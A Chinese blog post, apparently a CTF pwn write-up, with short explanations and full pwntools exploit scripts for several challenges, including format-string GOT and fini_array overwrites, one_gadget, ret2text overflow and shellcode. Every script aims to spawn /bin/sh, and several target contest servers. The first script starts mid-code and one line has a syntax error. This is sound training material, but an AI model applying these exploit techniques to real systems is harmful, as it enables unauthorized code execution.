libc_base=int16(r(14))-libc.sym['read']-18
i=stack-0x4
ret_addr=stack+0x118
system, binsh = get_sb()
rdi=libc_base+0x2a3e5
ret=libc_base+0x29cd6

sa(b'>>\n', b'%255c%10$hhn'.ljust(0x10, b'\x00') + p64(i + 3))

for i in range(6):
	payload = b'%' + str((ret>> 8*i) & 0xff).encode() + b'c%10$hhn'
	payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + i)
	sa(b'>>\n', payload)

for i in range(6):
	payload = b'%' + str((rdi>> 8*i) & 0xff).encode() + b'c%10$hhn'
	payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + 8 + i)
	sa(b'>>\n', payload)

for i in range(6):
	payload = b'%' + str((binsh >> 8*i) & 0xff).encode() + b'c%10$hhn'
	payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + 0x10 + i)
	sa(b'>>\n', payload)

for i in range(6):
	payload = b'%' + str((system >> 8*i) & 0xff).encode() + b'c%10$hhn'
	payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + 0x18 + i)
	sa(b'>>\n', payload)

sa(b'>>\n',b'%10$hhn'.ljust(0x10 b'\x00')+p64(stack-4+3))
	
inter()

fmt_stack3

e2fda166fdb444e88f39a29733b8ef70.png

由于只有一次修改的机会，将fini_array函数改为vuln让程序再执行一次。

然后就会执行已经被改为system的printf函数。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./fmt_stack3')
elf = ELF('./fmt_stack3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

fini_array = 0x403178

payload = fmtstr_payload(6, {fini_array:elf.sym['vuln'], elf.got['printf']:elf.sym['system']})
sa(b'name?\n', payload)

sa(b'name?\n', b'/bin/sh\x00')
inter()

fmt

很遗憾，在比赛的时候没完全学会使用patchelf的使用，被这道题弄得晕头转向。

4e4d67b211634a4090730a2d18807f59.png

存在格式化字符串漏洞先泄露pie和libcbase，由于使用fmtstr_payload的payload过长，所以我们手写payload。

from pwn import *
#io=process('./pwn')
io=remote('124.71.99.248',20776)
elf=ELF('./pwn')
context(os='linux',arch = 'amd64')
libc=ELF('libc-2.27.so')
 
#gdb.attach(io)
 
 
payload=b'%23$p%35$p'
io.recv()
io.send(payload)
pie=int(io.recv(14),16)-elf.sym['vuln1']-33
print(hex(pie))
base=int(io.recv(14),16)-libc.sym['__libc_start_main']-231
print(hex(base))
sys=base+libc.sym['system']
print(hex(sys))
printf_got=pie+elf.got['printf']
a=int((hex(sys)[-4:]),16)
b=int((hex(sys)[-6:-4]),16)
print(hex(a))
print(hex(b))
payload1=(b'%'+str(b).encode()+b'c%12$hhn'+b'%'+str(a-b).encode()+b'c%13$hn').ljust(0x20,b'\x00')
print(hex(len(payload1)))
payload1+=p64(printf_got+2)+p64(printf_got)
#pause()
 
io.send(payload1)
 
io.send(b'/bin/sh\x00')
io.recv()
io.interactive()

 HELLO WORLD

比赛的时候根本没看这题（哭死

一道很有意思的brop，是ret2text，在交互过程中刷好感度，获得后门函数地址，最后利用gets函数输入，溢出长度为0x4+0x8

exp

from pwn import *
 
 
io=remote('124.71.99.248',20854)
 
 
io.recv()
io.sendline()
sleep(1)
io.sendline(str(2))
sleep(1)
io.sendline(str(4))
sleep(1)
io.sendline(str(6))
sleep(1)
io.sendline(str(2))
 
io.recvuntil(b'key:')
key=int(io.recv(14),16)
print(hex(key))
io.sendline(str(7))
sleep(0.5)
payload=b'a'*(0x4+0x8)+p64(key)
io.recvuntil(b'get:\n')
io.sendline(payload)
io.interactive()

easyfmt

一道非栈上格式化自字符串，复现的过程中让我学到了很多。

b0692f482b944ee597a4dfe3442113c1.png

因为开启了full relro,所以不能直接修改got表。非栈上格式化字符串需要利用像rbp所指向的栈链为跳板，来完成对main函数的返回地址及其指向的内容的修改。

先修改格式化字符串漏洞的执行次数，再一点点地修改libc_start_main以及onegadget

最后再将函数执行次数改为零

exp

from pwn import *
libc=ELF("./libc-2.27.so")
#io=process('pwn')
io=remote("124.71.99.248",20871)
 
io.sendafter("stdin>>\n",b'%21$p.%8$p.')
libcbase=int(io.recvuntil(b'.')[-13:-1],16)-libc.sym['__libc_start_main']-231
stack=int(io.recvuntil(b'.')[-13:-1],16)-0x20
 
one_gadget =libcbase+0x4f2a5
io.sendafter("stdin>>\n",b'%'+str((stack-0x10)&0xff).encode()+b'c%12$hhn')
io.sendafter("stdin>>\n",b'%66c%16$hhn')
for  i in range(6):
    io.sendafter("stdin>>\n",b'%'+str((stack+8+i)&0xff).encode()+b'c%12$hhn')
    io.sendafter("stdin>>\n",b'%'+str((one_gadget>>8*i)&0xff).encode()+b'c%16$hhn')
io.sendafter("stdin>>\n",b'%'+str((stack-0x10)&0xff).encode()+b'c%12$hhn')
io.sendafter("stdin>>\n",b'%16$hhn')
io.interactive()

oneshot_tjctf_2016

 8eb839b1a9484ebfa914c89e0bb9bf39.png

给了两次向V4输入数据的机会，第一次会打印v4的内容，可得到libc_base，第二次会执行V4，输入onegadget即可。

exp

from pwn import *
#io=process('./oneshot_tjctf_2016')
context(arch='amd64', os='linux')
io=remote('node5.buuoj.cn',28728)
elf=ELF('./oneshot_tjctf_2016')
libc=ELF('libc-2.23.so')
 
io.recv()
payload=elf.got['puts']
io.sendline(str(payload))
io.recvuntil(b'0x')
base=int(io.recv(16),16)-libc.sym['puts']
onegadget=base+0x45216
io.recv()
io.send(str(onegadget))
io.interactive()

wustctf2020_number_game

1d377a2d832d4af69eb830e4a3774a64.png

32位开启了NX和canary保护。

shell()中直接给出了system('/bin/sh')函数

我们需要让v1满足if中的表达式，在v1=-v1中，会发生补码，

2147483648是32位int最大的数

所以输入-2147483648可绕过补码，获得shell。

starctf_2019_babyshell

a705065a050c4cec92ac6518658f60f9.png

虽然开启了NX保护，但由于mmap函数的存在buf变得可读可写可执行。

b285bc683be448479215b6739a00e5ac.png

但任需要绕过sub_400786里的检查。shellcode需要是unk_400978中的字符，开头为\x00的汇编指令可以绕过检查

exp

from pwn import*
context.arch="amd64"
io=remote('node5.buuoj.cn',27695)
payload=b'\x00\x00'+asm(shellcraft.sh())
io.sendline(payload)
io.interactive()

wustctf2020_name_your_dog

32位开启了NX保护和canary

110e1bd02f7d4727a14cfd75490064c8.png

 

 40a2d394115745868ba52877d7166e86.png

9e0c5e3e57e84258afcde068e66c848b.png

存在后门函数。

该题存在数组越界漏洞，但由于dog在bss段上，我们需要通过将got表改写为后门函数的方式来获得shell。

exp

from pwn import *
 
io=remote('node5.buuoj.cn',29868)
#io=process("./wustctf2020_name_your_dog")
 
shell=0x080485CB
io.sendlineafter(">",b'-7')
io.sendlineafter("Give your name plz: ",p32(shell))
io.interactive()

wdb_2018_3rd_soEasy

32位未开启任何保护，使用shellcode梭哈，还给出了buf的地址，还有栈溢出。

479e3fe37d874ced94801524631dbb01.png

exp

from pwn import *
 
io=remote('node5.buuoj.cn',27686)
#io=process("./wdb_2018_3rd_soEasy")
elf=ELF('./wdb_2018_3rd_soEasy')
 
io.recvuntil(b'gift->')
buf=int(io.recv(10),16)
shellcode=asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f ;mov ebx,esp;mov al,0xb;int 0x80')
print(hex(len(shellcode)))
payload=shellcode.ljust(0x4c,b'\x00')+p32(buf)
io.sendline(payload)
io.interactive()

judgement_mna_2016

32位

7f70ea0da60a49e4b704304d3b78c6ab.png

aca2a0dac5104dd2abe97e825b059530.png

主函数中存在格式化字符串漏洞 

gdb调试可以发现flag就在栈中

exp

from pwn import *
p=remote("node5.buuoj.cn",28829)
p.sendline('%28$s:%32$s')
p.interactive()

 

 

 

 

拓䜣
关注
  • 30
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
ChatGPT 辅助生成周报/月报
小Y的博客
08-30 2129
用 ChatGPT 写好一篇工作汇报
周报系统的设计与实现
weixin_43257005的博客
10-28 2615
周报系统的设计与实现 1.明确周报系统需要做什么? 2.明确周报系统需要什么样的操作? 3.周报系统中权限及职级划分处理是怎样的？ 在设计之前我先提出以上单个问题，可以先思考一下，思考之后进行相关设计。 周报系统，其名可知是便于周报提交和查看的系统。既然需要查看和提交，自然而然其中牵涉到一些不同的权限问题。 举例说明：A公司需要做一个周报系统，便于公司的业绩及相关绩效考核使用。需求是：&...
计算机科学与技术专业的论文周报,毕业设计(实习)周报
weixin_35064201的博客
06-24 1790
本科毕业设计周报第1 周毕业生周记撰写毕业论文开题报告(初稿)，结合毕业设计所选的题目，查阅大量相关资料，主要针对该设计所涉及的背景，研究目的及意义，以及国内外的相关成熟技术进行筛选，提取部分核心内容，将其引用到毕业论文的开题报告中。同时制定整个毕业实习的工作计划。同时将之前查找的与毕业论文主题相关的外文资料(本次所选取的外文资料为思杰有关虚拟化桌面的官方技术文档)，进行整体的第一遍翻译工作，完成...
Swift 周报 第二十七期
网罗天下方法，方便你我开发！！！
04-19 1万+
再暗的黑夜也会迎来黎明，再长的坎坷也会连接平川。怀抱Swift社区，一颗永不放弃的希望之心，明天将会是温暖的阳光雨露！
项目过程管理（十六）项目周报
hursing的博客
02-28 5432
原则 有事起奏无事退朝 项目经理可在周一上午召开站会收集信息，各职能负责人需积极配合。 周一下午3点前发出邮件 邮件 接着立项邮件全体回复，每周接着上一周发直到结项 收件人：项目组群 标题：【项目周报】xxx（项目）mmdd（日期），例如 支付宝1018 正文示例： Dear All， （1-3句话总结情况。） （当前进度，是否存在风险。有就说明异常情况与原因，提醒注意，请求协助。） 本周项...
测试周报模板
热门推荐
软件猿扫地僧
06-28 1万+
模板下载：http://download.csdn.net/detail/kaka1121/9562176  本周总结（项目负责人必填，成员选填） 此处填写本周总结，包括但不限于以下内容：  本周团队内bug的简要分析总结；除项目工作外，其他事宜的汇报，比如测试环境、新人培养、自动化工作开展等；自己或团队遇到的问题、困惑等；意见和建议；
青少年编程竞赛交流群周报（第042周）
老马的程序人生
12-20 2008
2021年12月19日（周日）晚20:00我们在青少年编程竞赛交流群开展了第四十二期直播活动。 一、直播内容 我们直播活动的主要内容如下： 讲解了上次测试中小朋友们做错的题目 Scratch青少年编程能力等级测试模拟题（四级）。 参考答案： 判断题：1.√；2.√；3.√；4.√；5.√；6.√；7.√；8.√；9.√；10.√； 选择题：11.D；12.B；13.D；14.C；15.B；16.C；17.A；18.C；19.D；20.D；21.D；22.B；23.B；24.D；25.B； 演示了如何
java开发周报_Java周报
weixin_36184940的博客
02-13 1815
package com.softeem.basic;//包名 单行注释三种注释方式主方法输出语句文档化注释,能够生成API文档public class Demo_01 {//类名多行注释主函数:主方法,是程序的入口,所有程序的开始和方法的调用都必须在主方法里面1、主函数的写法固定2、一个程序中不能没有主函数,但是一个程序中只能写一个主函数java的数据类型:基本数据类型:整型: byte shor...
java开发周报_java第六周周报
weixin_39943678的博客
02-16 1489
前言本周是学习java的第六周，把容器大部分内容学完了。参考教程：本周学习要点：1.Map中的HashMap和TreeMap区别不大，效率上使用HashMap，需要用到排序时使用TreeMap。2.TreeMap是典型的红黑二叉树的实现。3.TreeMap会按照key递增的方式排序，在使用自己定义的类时需要实现comparable接口并重写CompareTo方法。4.HashMap和HashTab...
Swift 周报 第三十四期
网罗天下方法，方便你我开发！！！
08-08 5717
恰似烈日灼身，清风缕缕慰我清静。恰似无边心海，Swift社区渡我心安！
周报复盘
08-25
周报复盘
校园周报管理一体化系统
06-10
周报规则如下：周报由系统定时生成，默认数据为未交周报，学生不写（修改周报内容）周报则默认0分且老师不可以批分，老师已经打分的周报不可以被修改，不是本周的周报不可以修改。另外周报是自动根据时间去检索学生...
20210322-申万宏源-建材行业周报：专题复盘“水泥牛”海螺水泥.pdf
06-20
20210322-申万宏源-建材行业周报：专题复盘“水泥牛”海螺水泥.pdf
建材行业周报：专题复盘“水泥牛”海螺水泥.rar
09-09
本周的建材行业周报聚焦于一个特殊的话题——“水泥牛”，并深度剖析了其中的典型代表，海螺水泥。这篇报告旨在通过复盘海螺水泥的发展历程，揭示其在建材行业中扮演的重要角色，以及它如何成为行业内的领头羊。 ...
PMO项目管理周报-模板.pptx
07-28
PMO项目管理周报模板知识点总结 ...3. 周报模板需要与项目的实际情况保持一致。 项目管理周报模板是项目管理中的一种重要工具，可以帮助项目经理和项目团队成员更好地管理项目，确保项目的实施符合计划和目标。
使用Python的Turtle库绘制动态风车
爱写代码的小朋友
07-20 401
python绘制风车
随机数种子的作用
最新发布
帆的博客
07-23 632
设置随机数种子（random seed）的目的是为了确保随机数生成器在每次运行时产生相同的随机数序列，从而保证实验结果的一致性。随机数种子通过初始化随机数生成器的内部状态，使得在相同的种子值下，随机数生成器每次调用时生成的序列是相同的。
【Python如何将字符串连接在一起并使用`join()`方法】
qq_36253366的博客
07-19 453
方法是字符串对象的方法，而不是列表或元组等序列类型的方法。因此，你需要先指定一个用作分隔符的字符串，然后调用这个字符串的。方法将字符串连接在一起，你需要首先确保这些字符串被存储在一个序列类型中（如列表或元组），然后调用这个序列的。方法是一个字符串方法，它用于将序列（如列表、元组等）中的元素以指定的字符连接生成一个新的字符串。列表中的所有字符串元素使用空格作为分隔符连接成一个新的字符串。方法，并将你想要作为分隔符的字符串作为参数传递给。方法，并将包含要连接字符串的序列作为参数传递。
批量下载网易云音乐歌单的Python脚本
qq_43580271的博客
07-17 1341
同时，这也展示了如何利用Python在日常生活中解决实际问题的能力，希望这个小技巧对你有所帮助！
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值